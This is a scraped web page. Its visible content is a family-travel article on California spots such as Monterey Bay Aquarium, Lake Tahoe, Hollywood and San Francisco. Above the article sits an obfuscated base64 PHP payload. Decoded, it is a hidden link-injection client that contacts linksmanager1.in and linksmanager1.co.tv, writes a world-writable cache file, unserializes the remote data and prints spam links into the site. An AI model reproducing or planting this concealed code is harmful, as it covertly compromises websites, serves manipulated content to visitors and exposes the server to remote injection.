NTQxZTdmYTgzYWJmZGQ0Yzg0MTVmYjVjZDRlZDUnOw0KDQoJLy8gb3B0aW9uYWwNCiAgdmFyICRf dmVyYm9zZSAgICAgICAgICAgPSBmYWxzZTsNCiAgdmFyICRfY2hhcnNldCAgICAgICAgICAgPSAn VVRGLTgnOw0KCXZhciAkX2ZldGNoX3JlbW90ZV90eXBlID0gJ2ZpbGVfZ2V0X2NvbnRlbnRzJzsN Cgl2YXIgJF9zb2NrZXRfdGltZW91dCAgICA9IDY7DQoJdmFyICRfbGlua3NfZGVsaW1pdGVyCQk9 ICcgJzsNCgl2YXIgJF9zaG93X2NvZGUJCQkJCT0gZmFsc2U7DQoNCgkvLyBvdGhlcg0KICB2YXIg JF9zZXJ2ZXJzCQkJCQkJPSAnbGlua3NtYW5hZ2VyMS5pbnxsaW5rc21hbmFnZXIxLmNvLnR2JzsN CiAgdmFyICRfY2FjaGVfbGlmZXRpbWUgICAgPSAxMDgwMDsNCiAgdmFyICRfY2FjaGVfcmVsb2Fk dGltZSAgPSA2MDA7DQogIHZhciAkX2Vycm9yICAgICAgICAgICAgID0gJyc7DQogIHZhciAkX2Ri X2ZpbGUgICAgICAgICAgID0gJyc7DQoNCiAgZnVuY3Rpb24gQ01fYmFzZSgkb3B0aW9ucyA9IG51 bGwpIHsNCg0KCQlpZiAoaXNzZXQoJG9wdGlvbnNbJ3ZlcmJvc2UnXSkgJiYgJG9wdGlvbnNbJ3Zl cmJvc2UnXSA9PSB0cnVlKQ0KCQkJJHRoaXMtPl92ZXJib3NlID0gdHJ1ZTsNCg0KICAgIGlmIChp c3NldCgkb3B0aW9uc1snY2hhcnNldCddKSAmJiBzdHJsZW4oJG9wdGlvbnNbJ2NoYXJzZXQnXSkp DQogICAgICAkdGhpcy0+X2NoYXJzZXQgPSAkb3B0aW9uc1snY2hhcnNldCddOw0KDQogICAgaWYg KGlzc2V0KCRvcHRpb25zWydmZXRjaF9yZW1vdGVfdHlwZSddKSAmJiBzdHJsZW4oJG9wdGlvbnNb J2ZldGNoX3JlbW90ZV90eXBlJ10pKQ0KICAgICAgJHRoaXMtPl9mZXRjaF9yZW1vdGVfdHlwZSA9 ICRvcHRpb25zWydmZXRjaF9yZW1vdGVfdHlwZSddOw0KDQoJCWlmIChpc3NldCgkb3B0aW9uc1sn c29ja2V0X3RpbWVvdXQnXSkgJiYgaXNfbnVtZXJpYygkb3B0aW9uc1snc29ja2V0X3RpbWVvdXQn XSkgJiYgJG9wdGlvbnNbJ3NvY2tldF90aW1lb3V0J10gPiAwKQ0KICAgICAgJHRoaXMtPl9zb2Nr ZXRfdGltZW91dCA9ICRvcHRpb25zWydzb2NrZXRfdGltZW91dCddOw0KDQogICAgaWYgKGlzc2V0 KCRvcHRpb25zWydsaW5rc19kZWxpbWl0ZXInXSkgJiYgc3RybGVuKCRvcHRpb25zWydsaW5rc19k ZWxpbWl0ZXInXSkpDQogICAgICAkdGhpcy0+X2xpbmtzX2RlbGltaXRlciA9ICRvcHRpb25zWyds aW5rc19kZWxpbWl0ZXInXTsNCg0KICAgIGlmIChpc3NldCgkb3B0aW9uc1snc2hvd19jb2RlJ10p ICYmICRvcHRpb25zWydzaG93X2NvZGUnXSA9PSB0cnVlKQ0KICAgICAgICR0aGlzLT5fc2hvd19j b2RlID0gdHJ1ZTsNCgkNCgl9DQoNCg0KICBmdW5jdGlvbiBmZXRjaF9yZW1vdGVfZmlsZSgkaG9z dCwgJHBhdGgpIHsNCg0KCQlAaW5pX3NldCgnYWxsb3dfdXJsX2ZvcGVuJywgICAgICAgICAgMSk7 DQogICAgQGluaV9zZXQoJ2RlZmF1bHRfc29ja2V0X3RpbWVvdXQnLCAgICR0aGlzLT5fc29ja2V0 X3RpbWVvdXQpOw0KDQogICAgaWYgKCR0aGlzLT5fZmV0Y2hfcmVtb3RlX3R5cGUgPT0gJ2ZpbGVf Z2V0X2NvbnRlbnRzJyB8fCANCgkJCSgkdGhpcy0+X2ZldGNoX3JlbW90ZV90eXBlID09ICcnICYm IGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9nZXRfY29udGVudHMnKSAmJiBpbmlfZ2V0KCdhbGxvd191 cmxfZm9wZW4nKSA9PSAxKSkgew0KICAgICAgICAgICAgDQoJCQkkdGhpcy0+X2ZldGNoX3JlbW90 ZV90eXBlID0gJ2ZpbGVfZ2V0X2NvbnRlbnRzJzsNCgkJCSRkYXRhID0gQGZpbGVfZ2V0X2NvbnRl bnRzKCdodHRwOi8vJyAuICRob3N0IC4gJHBhdGgpOw0KDQoJCQlpZiAoJGRhdGEpDQoJCQkJcmV0 dXJuICRkYXRhOw0KDQogICAgfSBlbHNlaWYgKCR0aGlzLT5fZmV0Y2hfcmVtb3RlX3R5cGUgPT0g J2N1cmwnIHx8IA0KCQkJKCR0aGlzLT5fZmV0Y2hfcmVtb3RlX3R5cGUgPT0gJycgJiYgZnVuY3Rp b25fZXhpc3RzKCdjdXJsX2luaXQnKSkpIHsNCiAgICAgICAgICAgIA0KCQkJJHRoaXMtPl9mZXRj aF9yZW1vdGVfdHlwZSA9ICdjdXJsJzsNCg0KICAgICAgaWYgKCRjaCA9IEBjdXJsX2luaXQoKSkg ew0KDQoJCQkJQGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICAgICAgICAgICAgICAnaHR0 cDovLycgLiAkaG9zdCAuICRwYXRoKTsNCgkJCQlAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hF QURFUiwgICAgICAgICAgIGZhbHNlKTsNCgkJCQlAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JF VFVSTlRSQU5TRkVSLCAgIHRydWUpOw0KCQkJCUBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09O TkVDVFRJTUVPVVQsICAgJHRoaXMtPl9zb2NrZXRfdGltZW91dCk7DQoNCiAgICAgICAgJGRhdGEg PSBAY3VybF9leGVjKCRjaCk7DQogICAgICAgIEBjdXJsX2Nsb3NlKCRjaCk7DQoNCgkJCQlpZiAo JGRhdGEpDQoJCQkJCXJldHVybiAkZGF0YTsNCgkJCX0NCg0KICAgIH0gZWxzZSB7DQoNCgkJCSR0 aGlzLT5fZmV0Y2hfcmVtb3RlX3R5cGUgPSAnc29ja2V0JzsNCg0KICAgICAgJGJ1ZmYgPSAnJzsN CiAgICAgICRmcCA9IEBmc29ja29wZW4oJGhvc3QsIDgwLCAkZXJybm8sICRlcnJzdHIsICR0aGlz LT5fc29ja2V0X3RpbWVvdXQpOw0KDQogICAgICBpZiAoJGZwKSB7DQoNCgkJCQlAZnB1dHMoJGZw LCAiR0VUIHskcGF0aH0gSFRUUC8xLjBcclxuSG9zdDogeyRob3N0fVxyXG4iKTsNCg0KCQkJCXdo aWxlICghQGZlb2YoJGZwKSkNCgkJCQkJJGJ1ZmYgLj0gQGZnZXRzKCRmcCwgMTI4KTsNCg0KCQkJ CUBmY2xvc2UoJGZwKTsNCg0KCQkJCSRwYWdlID0gZXhwbG9kZSgiXHJcblxyXG4iLCAkYnVmZik7 DQoJCQkJcmV0dXJuICRwYWdlWzFdOw0KDQogICAgICB9DQoNCiAgICB9DQoNCiAgICByZXR1cm4g JHRoaXMtPnJhaXNlX2Vycm9yKCcmIzEwNTM7JiMxMDc3OyAmIzEwODQ7JiMxMDg2OyYjMTA3NTsm IzEwOTE7ICYjMTA4NzsmIzEwODY7JiMxMDc2OyYjMTA4MjsmIzEwODM7JiMxMTAyOyYjMTA5NTsm IzEwODA7JiMxMDkwOyYjMTEwMDsmIzEwODk7JiMxMTAzOyAmIzEwODI7ICYjMTA4OTsmIzEwNzc7 JiMxMDg4OyYjMTA3NDsmIzEwNzc7JiMxMDg4OyYjMTA5MTs6ICcgLiAkaG9zdCAuICRwYXRoLics IHR5cGU6ICcuJHRoaXMtPl9mZXRjaF9yZW1vdGVfdHlwZSk7DQogIH0NCg0KICBmdW5jdGlvbiBf cmVhZCgkZmlsZW5hbWUpIHsNCiAgICAgICAgDQoJCSRmcCA9IEBmb3BlbigkZmlsZW5hbWUsICdy YicpOw0KCQlAZmxvY2soJGZwLCBMT0NLX1NIKTsNCg0KCQlpZiAoJGZwKSB7DQoNCgkJCWNsZWFy c3RhdGNhY2hlKCk7DQoJCQkkbGVuZ3RoID0gQGZpbGVzaXplKCRmaWxlbmFtZSk7DQoJCQkkbXFy ID0gZ2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKCk7DQoJCQlzZXRfbWFnaWNfcXVvdGVzX3J1bnRp bWUoMCk7DQoNCgkJCWlmICgkbGVuZ3RoKQ0KCQkJCSRkYXRhID0gQGZyZWFkKCRmcCwgJGxlbmd0 aCk7DQoJCQllbHNlDQoJCQkJJGRhdGEgPSAnJzsNCg0KICAgICAgc2V0X21hZ2ljX3F1b3Rlc19y dW50aW1lKCRtcXIpOw0KICAgICAgQGZsb2NrKCRmcCwgTE9DS19VTik7DQogICAgICBAZmNsb3Nl KCRmcCk7DQoNCiAgICAgIHJldHVybiAkZGF0YTsNCg0KICAgIH0NCg0KICAgIHJldHVybiAkdGhp cy0+cmFpc2VfZXJyb3IoJyYjMTA1MzsmIzEwNzc7ICYjMTA4NDsmIzEwODY7JiMxMDc1OyYjMTA5 MTsgJiMxMDg5OyYjMTA5NTsmIzEwODA7JiMxMDkwOyYjMTA3MjsmIzEwOTA7JiMxMTAwOyAmIzEw NzY7JiMxMDcyOyYjMTA4NTsmIzEwODU7JiMxMDk5OyYjMTA3NzsgJiMxMDgwOyYjMTA3OTsgJiMx MDkyOyYjMTA3MjsmIzEwODE7JiMxMDgzOyYjMTA3Mjs6ICcgLiAkZmlsZW5hbWUpOw0KICB9DQoN CiAgZnVuY3Rpb24gX3dyaXRlKCRmaWxlbmFtZSwgJGRhdGEpIHsNCg0KCQkkZnAgPSBAZm9wZW4o JGZpbGVuYW1lLCAnd2InKTsNCiAgICBpZiAoJGZwKSB7DQoJCQlAZmxvY2soJGZwLCBMT0NLX0VY KTsNCgkJCSRsZW5ndGggPSBzdHJsZW4oJGRhdGEpOw0KCQkJQGZ3cml0ZSgkZnAsICRkYXRhLCAk bGVuZ3RoKTsNCgkJCUBmbG9jaygkZnAsIExPQ0tfVU4pOw0KICAgICAgQGZjbG9zZSgkZnApOw0K DQogICAgICBpZiAobWQ1KCR0aGlzLT5fcmVhZCgkZmlsZW5hbWUpKSAhPSBtZDUoJGRhdGEpKQ0K CQkJCXJldHVybiAkdGhpcy0+cmFpc2VfZXJyb3IoJyYjMTA1MzsmIzEwNzI7JiMxMDg4OyYjMTA5 MTsmIzEwOTY7JiMxMDc3OyYjMTA4NTsmIzEwNzI7ICYjMTA5NDsmIzEwNzc7JiMxMDgzOyYjMTA4 NjsmIzEwODk7JiMxMDkwOyYjMTA4NTsmIzEwODY7JiMxMDg5OyYjMTA5MDsmIzExMDA7ICYjMTA3 NjsmIzEwNzI7JiMxMDg1OyYjMTA4NTsmIzEwOTk7JiMxMDkzOyAmIzEwODc7JiMxMDg4OyYjMTA4 MDsgJiMxMDc5OyYjMTA3MjsmIzEwODc7JiMxMDgwOyYjMTA4OTsmIzEwODA7ICYjMTA3NDsgJiMx MDkyOyYjMTA3MjsmIzEwODE7JiMxMDgzOzogJyAuICRmaWxlbmFtZSk7DQoNCiAgICAgIHJldHVy biB0cnVlOw0KICAgIH0NCg0KICAgIHJldHVybiAkdGhpcy0+cmFpc2VfZXJyb3IoJyYjMTA1Mzsm IzEwNzc7ICYjMTA4NDsmIzEwODY7JiMxMDc1OyYjMTA5MTsgJiMxMDc5OyYjMTA3MjsmIzEwODc7 JiMxMDgwOyYjMTA4OTsmIzEwNzI7JiMxMDkwOyYjMTEwMDsgJiMxMDc2OyYjMTA3MjsmIzEwODU7 JiMxMDg1OyYjMTA5OTsmIzEwNzc7ICYjMTA3NDsgJiMxMDkyOyYjMTA3MjsmIzEwODE7JiMxMDgz OzogJyAuICRmaWxlbmFtZSk7DQogIH0NCg0KICBmdW5jdGlvbiByYWlzZV9lcnJvcigkZSkgew0K DQoJCSR0aGlzLT5fZXJyb3IgPSAnPHAgc3R5bGU9ImNvbG9yOiByZWQ7IGZvbnQtd2VpZ2h0OiBi b2xkOyI+Q00gRVJST1I6ICcgLiAkZSAuICc8L3A+JzsNCg0KCQlpZiAoJHRoaXMtPl92ZXJib3Nl ID09IHRydWUpDQoJCQlwcmludCAkdGhpcy0+X2Vycm9yOw0KDQogICAgcmV0dXJuIGZhbHNlOw0K ICB9DQoNCiAgZnVuY3Rpb24gbG9hZF9kYXRhKCkgew0KDQoJCWlmICghaXNfZGlyKGRpcm5hbWUo X19GSUxFX18pLicvdGVtcCcpKXsNCgkJCWlmICghbWtkaXIoZGlybmFtZShfX0ZJTEVfXykuJy90 ZW1wJykpew0KCQkJCXJldHVybiAkdGhpcy0+cmFpc2VfZXJyb3IoJyYjMTA1MzsmIzEwNzc7JiMx MDkwOyAmIzEwODc7JiMxMDcyOyYjMTA4NzsmIzEwODI7JiMxMDgwOyAnIC4gZGlybmFtZShfX0ZJ TEVfXykuJy90ZW1wJy4gJy4gJiMxMDU3OyYjMTA4NjsmIzEwNzk7JiMxMDc2OyYjMTA3MjsmIzEw OTA7JiMxMTAwOyAmIzEwODU7JiMxMDc3OyAmIzEwOTE7JiMxMDc2OyYjMTA3MjsmIzEwODM7JiMx MDg2OyYjMTA4OTsmIzExMDA7LicpOw0KCQkJfQ0KCQl9DQoNCg0KICAgICR0aGlzLT5fZGJfZmls ZSA9IGRpcm5hbWUoX19GSUxFX18pIC4gJy90ZW1wL2xpbmtzLmRiJzsNCg0KICAgIGlmICghaXNf ZmlsZSgkdGhpcy0+X2RiX2ZpbGUpKSB7DQoNCgkJCWlmIChAdG91Y2goJHRoaXMtPl9kYl9maWxl KSkNCgkJCQlAY2htb2QoJHRoaXMtPl9kYl9maWxlLCAwNjY2KTsNCgkJCWVsc2UNCgkJCQlyZXR1 cm4gJHRoaXMtPnJhaXNlX2Vycm9yKCcmIzEwNTM7JiMxMDc3OyYjMTA5MDsgJiMxMDkyOyYjMTA3 MjsmIzEwODE7JiMxMDgzOyYjMTA3MjsgJyAuICR0aGlzLT5fZGJfZmlsZSAuICcuICYjMTA1Nzsm IzEwODY7JiMxMDc5OyYjMTA3NjsmIzEwNzI7JiMxMDkwOyYjMTEwMDsgJiMxMDg1OyYjMTA3Nzsg JiMxMDkxOyYjMTA3NjsmIzEwNzI7JiMxMDgzOyYjMTA4NjsmIzEwODk7JiMxMTAwOy4gJiMxMDQy OyYjMTA5OTsmIzEwODk7JiMxMDkwOyYjMTA3MjsmIzEwNzQ7JiMxMDgwOyYjMTA5MDsmIzEwNzc7 ICYjMTA4NzsmIzEwODg7JiMxMDcyOyYjMTA3NDsmIzEwNzI7IDc3NyAmIzEwODU7JiMxMDcyOyAm IzEwODc7JiMxMDcyOyYjMTA4NzsmIzEwODI7JiMxMDkxOy4nKTsNCg0KICAgIH0NCg0KICAgIGlm ICghaXNfd3JpdGFibGUoJHRoaXMtPl9kYl9maWxlKSkNCgkJCXJldHVybiAkdGhpcy0+cmFpc2Vf ZXJyb3IoJyYjMTA1MzsmIzEwNzc7JiMxMDkwOyAmIzEwNzY7JiMxMDg2OyYjMTA4OTsmIzEwOTA7 JiMxMDkxOyYjMTA4NzsmIzEwNzI7ICYjMTA4NTsmIzEwNzI7ICYjMTA3OTsmIzEwNzI7JiMxMDg3 OyYjMTA4MDsmIzEwODk7JiMxMTAwOyAmIzEwODI7ICYjMTA5MjsmIzEwNzI7JiMxMDgxOyYjMTA4 MzsmIzEwOTE7OiAnIC4gJHRoaXMtPl9kYl9maWxlIC4gJyEgJiMxMDQyOyYjMTA5OTsmIzEwODk7 JiMxMDkwOyYjMTA3MjsmIzEwNzQ7JiMxMDgwOyYjMTA5MDsmIzEwNzc7ICYjMTA4NzsmIzEwODg7 JiMxMDcyOyYjMTA3NDsmIzEwNzI7IDc3NyAmIzEwODU7JiMxMDcyOyAmIzEwODc7JiMxMDcyOyYj MTA4NzsmIzEwODI7JiMxMDkxOy4nKTsNCg0KICAgIEBjbGVhcnN0YXRjYWNoZSgpOw0KDQogICAg aWYgKChmaWxlbXRpbWUoJHRoaXMtPl9kYl9maWxlKSA8ICh0aW1lKCktJHRoaXMtPl9jYWNoZV9s aWZldGltZSkgfHwgZmlsZXNpemUoJHRoaXMtPl9kYl9maWxlKSA9PSAwKSkgew0KDQoJCQlAdG91 Y2goJHRoaXMtPl9kYl9maWxlLCAodGltZSgpIC0gJHRoaXMtPl9jYWNoZV9saWZldGltZSArICR0 aGlzLT5fY2FjaGVfcmVsb2FkdGltZSkpOw0KICAgICAgICAgICAgDQoJCQkkcGF0aCA9ICcvc3lz dGVtL21uZ3IucGhwP2lkPScgLiAkdGhpcy0+X2lkIC4gJyZtZDU9JyAuIG1kNSgkdGhpcy0+X3Jl YWQoJHRoaXMtPl9kYl9maWxlKSk7DQoNCiAgICAgIGlmIChzdHJsZW4oJHRoaXMtPl9jaGFyc2V0 KSkNCgkJCQkkcGF0aCAuPSAnJmNoYXJzZXQ9JyAuICR0aGlzLT5fY2hhcnNldDsNCg0KCQkJJHNl cnZlcnMgPSBleHBsb2RlKCJ8IiwgJHRoaXMtPl9zZXJ2ZXJzKTsNCgkJCWZvcmVhY2goJHNlcnZl cnMgYXMgJHNlcnZlcil7DQoNCgkJCQlpZiAoJGRhdGEgPSAkdGhpcy0+ZmV0Y2hfcmVtb3RlX2Zp bGUoJHNlcnZlciwgJHBhdGgpKXsNCgkJCQ0KCQkJCQlpZiAoc3Vic3RyKCRkYXRhLCAwLCAxMikg PT0gJ0ZBVEFMIEVSUk9SOicpIHsNCg0KCQkJCQkJJHRoaXMtPnJhaXNlX2Vycm9yKCRkYXRhKTsN Cg0KCQkJCQl9IGVsc2UgaWYgKHN1YnN0cigkZGF0YSwgMCwgOSkgIT0gJ1VOQ0hBTkdFRCcpIHsN Cg0KCQkJCQkJJGhhc2ggPSBAdW5zZXJpYWxpemUoJGRhdGEpOw0KDQoJCQkJCQlpZiAoJGhhc2gg IT0gZmFsc2UpIHsNCg0KCQkJCQkJCSRkYXRhX25ldyA9IEBzZXJpYWxpemUoJGhhc2gpOw0KDQoJ CQkJCQkJaWYgKCRkYXRhX25ldykNCgkJCQkJCQkJJGRhdGEgPSAkZGF0YV9uZXc7DQoJCQkJCQkJ DQoJCQkJCQkJJHRoaXMtPl93cml0ZSgkdGhpcy0+X2RiX2ZpbGUsICRkYXRhKTsNCg0KCQkJCQkJ CWJyZWFrOw0KDQoJCQkJCQl9DQoNCgkJCQkJfSAvLyBpZiBmYXRhbCBlcnJvciB1bmNoYW5nZWQN Cg0KCQkJCX0gLy8gZmV0Y2gNCg0KCQkJfSAvLyBmb3JlYWNoDQogICAgICAgICAgICANCiAgICB9 DQoNCiAgICBpZiAoJGRhdGEgPSAkdGhpcy0+X3JlYWQoJHRoaXMtPl9kYl9maWxlKSkNCgkJCSR0 aGlzLT5zZXRfZGF0YShAdW5zZXJpYWxpemUoJGRhdGEpKTsNCg0KICB9DQp9DQoNCmNsYXNzIENN X2NsaWVudCBleHRlbmRzIENNX2Jhc2Ugew0KDQoJdmFyICRfbGlua3NfcGFnZSA9IGFycmF5KCk7 DQoNCglmdW5jdGlvbiBDTV9jbGllbnQoJG9wdGlvbnMgPSBudWxsKSB7DQoJCQlwYXJlbnQ6OkNN X2Jhc2UoJG9wdGlvbnMpOw0KCQkJJHRoaXMtPmxvYWRfZGF0YSgpOw0KCX0NCg0KCWZ1bmN0aW9u IHJldHVybl9saW5rcygkbiA9IG51bGwsICRvZmZzZXQgPSAwKSB7DQoNCgkJJGh0bWwgPSAnJzsN Cg0KCQlpZiAoaXNfYXJyYXkoJHRoaXMtPl9saW5rc19wYWdlKSkgew0KDQoJCQkkdG90YWxfcGFn ZV9saW5rcyA9IGNvdW50KCR0aGlzLT5fbGlua3NfcGFnZSk7DQoNCgkJCWlmICghaXNfbnVtZXJp YygkbikgfHwgJG4gPiAkdG90YWxfcGFnZV9saW5rcykNCgkJCQkkbiA9ICR0b3RhbF9wYWdlX2xp bmtzOw0KDQoJCQkkbGlua3MgPSBhcnJheSgpOw0KDQoJCQlmb3IgKCRpID0gMTsgJGkgPD0gJG47 ICRpKyspIHsNCgkJCQlpZiAoJG9mZnNldCA+IDAgJiYgJGkgPD0gJG9mZnNldCkNCgkJCQkJYXJy YXlfc2hpZnQoJHRoaXMtPl9saW5rc19wYWdlKTsNCgkJCQllbHNlDQoJCQkJCSRsaW5rc1tdID0g YXJyYXlfc2hpZnQoJHRoaXMtPl9saW5rc19wYWdlKTsNCgkJCX0NCg0KCQkJJGh0bWwgPSBqb2lu KCR0aGlzLT5fbGlua3NfZGVsaW1pdGVyLCAkbGlua3MpOw0KCQkJCQkNCgkJfSBlbHNlIHsNCgkJ CSRodG1sID0gJHRoaXMtPl9saW5rc19wYWdlOw0KCQl9DQoNCgkJaWYgKCR0aGlzLT5fc2hvd19j b2RlKQ0KCQkJJGh0bWwgPSAkaHRtbCAuICc8IS0tQ00nLigkdGhpcy0+X2lkKS4nLS0+JzsNCg0K CQlyZXR1cm4gJGh0bWw7DQoNCgl9DQoNCg0KICBmdW5jdGlvbiBzZXRfZGF0YSgkZGF0YSkgew0K DQoJCSR0aGlzLT5fbGlua3NfcGFnZSA9ICRkYXRhOw0KDQogIH0NCn0NCg0KDQokQ00gPSBuZXcg Q01fY2xpZW50KCk7DQplY2hvICRDTS0+cmV0dXJuX2xpbmtzKCk7DQoNCg0K")); ?>

California is a perfect place to go for family, there are many destinations that the whole family would enjoy.

Family Travel in Monterey Bay Aquarium

Monterey Bay Aquarium is an ideal family travel vacation with its wide array of sea creatures to amuse visitors of any age. Their exhibits have gotten numerous awards, including animals such as giant octopus, various sharks, otters, and jellyfish, among others. The place is known for its many aquariums, which your family can explore through their aquarium map. One whole day is good enough to enjoy many interesting sea animals on display, and your family can learn at the same time enjoy. There are daily programs and activities for first time visitors, check out to make sure you get the best of the Bay Aquarium have to offer. Their programs include Aquarium Adventures where your family travels and immerse in field observations and studies of various sea animals. There are also Guided Tours for groups of 6 to 10 people that will allow you in-depth and behind-the-scenes tours and destinations in the aquarium.

First time visitors in Lake Tahoe

In Northern California, Lake Tahoe has much more destinations to offer for first time visitors than just a lake. It has a rich history in its making, since it was formed as a result of geological faults shifting. The destinations consist of various accommodations for a perfect weekend getaway with the family, such as amusement parks, picnics, bowling, golf, and even movies. You can choose to stay at one of the many destinations in Lake Tahoe, or if your family travel is more of adventurous type, you can go camping. Explore the beautiful outdoors by foot or by bike. Experience the 10th deepest lake in the world and all its beauty together with your family for a wonderful bonding destinations and experiences that will allow you to appreciate nature at the same time.

Hollywood

Hollywood has city passes for the whole family travel, consisting of day tours in museums like Behind-the-Scenes, Hollywood Entertainment Museum, the Hollywood Wax Museum, among many others. Hollywood Studios is the location of many film classics, such as Jaws, with rides and various souvenir stores. You can also take bus tours and view homes of the stars in the Los Angeles area for your destinations, and check out the world famous Walk of Fame and find the footprint of your favorite stars.

San Francisco City destinations

The heart of downtown San Francisco offers much more than shopping, with its numerous restaurants, lively culture, and many things to see. Ideal for a long weekend family travel, first time visitors like you can book yourself at the many destinations in the city and spend the days exploring various landmarks such as Pier 39, or treat your family to world class chocolate at Ghirardelli Square. San Francisco is known for its Golden Gate, world renowned destinations. There is also the San Francisco Zoo, for a nature trip within the city. Also check out the Alcatraz Island boat tours, Napa Valley Wine, the famed Lombard Street, Cable Car Rides, and the vintage Haight Street.